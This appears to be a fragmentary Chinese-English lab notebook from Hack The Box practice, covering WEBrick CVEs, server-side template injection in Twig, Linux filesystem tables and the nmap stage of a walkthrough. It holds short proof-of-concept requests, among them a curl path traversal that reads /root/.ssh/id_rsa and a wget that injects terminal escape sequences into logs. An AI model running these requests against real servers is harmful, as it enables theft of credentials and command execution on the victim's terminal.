starting point

## webrick 

### [CVE-2008-1891     Open this link in a new tab   ](https://www.cve.org/CVERecord?id=CVE-2008-1891)

version < 1.4.0.beta1

Directory Traversal

[webrick](https://rubygems.org/gems/webrick) is a HTTP server toolkit that can be configured as an HTTPS server, a proxy server, and a virtual-host server.

Affected versions of this package are vulnerable to Directory Traversal. WEBrick, when using NTFS or FAT filesystems, allows remote attackers to read arbitrary CGI files via any of the following trailing characters in the URI:

1. `+` (plus),
2. `%2b` (encodedplus),
3. `.` (dot),
4. `%2e` (encoded dot), or
5. `%20` (encoded space)

### PoC

```
Accessing the following URIs to gain access to file.cgi:
http://SERVER/file.cgi.
http://SERVER/file.cgi%2e
```

example:

```
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
```

### [CVE-2009-4492     Open this link in a new tab   ](https://www.cve.org/CVERecord?id=CVE-2009-4492)

Affected versions of this package are vulnerable to Improper Input Validation. WEBrick lets attackers to inject malicious escape sequences to its logs, making it possible for dangerous control characters to be executed on a victim's terminal emulator. This is due to data being written to a log file without sanitizing non-printable characters. Remote attackers could modify a window's title, execute arbitrary commands, or overwrite files via an HTTP request containing an escape sequence for a terminal emulator.

### PoC

```
% xterm -e ruby -rwebrick -e 'WEBrick::HTTPServer.new(:Port=>8080).start' &
% wget http://localhost:8080/%1b%5d%32%3b%6f%77%6e%65%64%07%0a
```

### [CVE-2020-25613     Open this link in a new tab   ](https://www.cve.org/CVERecord?id=CVE-2020-25613)

Affected versions of this package are vulnerable to Improper Input Validation. WEBrick lets attackers to inject malicious escape sequences to its logs, making it possible for dangerous control characters to be executed on a victim's terminal emulator. This is due to data being written to a log file without sanitizing non-printable characters. Remote attackers could modify a window's title, execute arbitrary commands, or overwrite files via an HTTP request containing an escape sequence for a terminal emulator.

### PoC

```
% xterm -e ruby -rwebrick -e 'WEBrick::HTTPServer.new(:Port=>8080).start' &
% wget http://localhost:8080/%1b%5d%32%3b%6f%77%6e%65%64%07%0a
```



### SSTI[一篇文章带你理解漏洞之 SSTI 漏洞 | K0rz3n's Blog](https://www.k0rz3n.com/2018/11/12/一篇文章带你理解漏洞之SSTI漏洞/)

一种服务器模板漏洞，

```ruby
output = template.render(name=request.args.get('name'))		
```

由于直接将name渲染填充

#### example：

right：

```php
<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"]));  // 将用户输入作为模版变量的值
echo $output;
```

wrong：

**示例PHP代码2：**

```php
<?php
require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘;
Twig_Autoloader::register(true);

$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET[‘name‘]}");  // 将用户输入作为模版内容的一部分
echo $output;
```

## CRLF Injection Vulnerability

htb perfection

| **Path** | **Description**                                              |
| -------- | ------------------------------------------------------------ |
| `/`      | The top-level directory is the root filesystem and contains all of the files required to boot the operating system before other filesystems are mounted as well as the files required to boot the other filesystems. After boot, all of the other filesystems are mounted at standard mount points as subdirectories of the root. |
| `/bin`   | Contains essential command binaries.                         |
| `/boot`  | Consists of the static bootloader, kernel executable, and files required to boot the Linux OS. |
| `/dev`   | Contains device files to facilitate access to every hardware device attached to the system. |
| `/etc`   | Local system configuration files. Configuration files for installed applications may be saved here as well. |
| `/home`  | Each user on the system has a subdirectory here for storage. |
| `/lib`   | Shared library files that are required for system boot.      |
| `/media` | External removable media devices such as USB drives are mounted here. |
| `/mnt`   | Temporary mount point for regular filesystems.               |
| `/opt`   | Optional files such as third-party tools can be saved here.  |
| `/root`  | The home directory for the root user.                        |
| `/sbin`  | This directory contains executables used for system administration (binary system files). |
| `/tmp`   | The operating system and many programs use this directory to store temporary files. This directory is generally cleared upon system boot and may be deleted at other times without any warning. |
| `/usr`   | Contains executables, libraries, man files, etc.             |
| `/var`   | This directory contains variable data files such as log files, email in-boxes, web application related files, cron files, and more. |

| **Column Content** | **Description**                                              |
| ------------------ | ------------------------------------------------------------ |
| `drwxr-xr-x`       | Type and permissions                                         |
| `2`                | Number of hard links to the file/directory                   |
| `cry0l1t3`         | Owner of the file/directory                                  |
| `htbacademy`       | Group owner of the file/directory                            |
| `4096`             | Size of the file or the number of blocks used to store the directory information |
| `Nov 13 17:37`     | Date and time                                                |
| `Desktop`          | Directory name                                               |

---

linux foundamental ：

htb


htb learning

htb bizness

# WP usage

首先nmap扫描开放端口：

```shell
Host is up (0.44s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Daily Blogs
| http-methods: 
|_  Supported Methods: GET HEAD
Aggressive OS guesses: Linux 5.4 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 5.0 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 4.15 - 5.8 (93%), Adtran 424RG FTTH gateway (92%), Linux 3.10 (92%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 32.230 days (since Fri Mar 22 15:57:29 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

可以看到就只有两个端口打开，80和22，分别是http和ssh的默认端口。



然后我们dirsearch看看有没有什么隐藏目录和文件：



startpoint

tier 0

webrick

[CVE-2008-1891 Open this li

htb bizness

WP usage